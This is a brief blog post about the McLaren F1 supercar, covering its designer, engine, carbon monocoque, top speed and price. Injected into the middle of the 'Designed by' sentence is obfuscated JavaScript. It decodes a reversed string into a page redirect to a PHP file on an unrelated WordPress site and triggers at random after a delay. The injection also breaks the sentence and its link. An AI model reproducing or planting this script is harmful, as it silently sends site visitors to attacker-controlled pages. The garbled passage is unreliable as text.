Some cars need little in the way of an introduction. This is one of them: the McLaren F1.
Designed by $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-f1-designing-a-supercar/” target=”_blank”>Gordon Murray, this 618hp beast was McLaren’s way of making the seemingly impossible possible (think Bugatti Veyron in the early-nineties). Boasting a 6.1l V12, a centred driving seat, and the first carbon fibre monocoque chassis ever used on a production road car, the F1’s top speed was an eye-watering 372kph, making it the then fastest production car in the world. And if that didn’t get you convulsing, the $970,000(ish) price tag usually did.
Shot courtesy of Murphy Photography
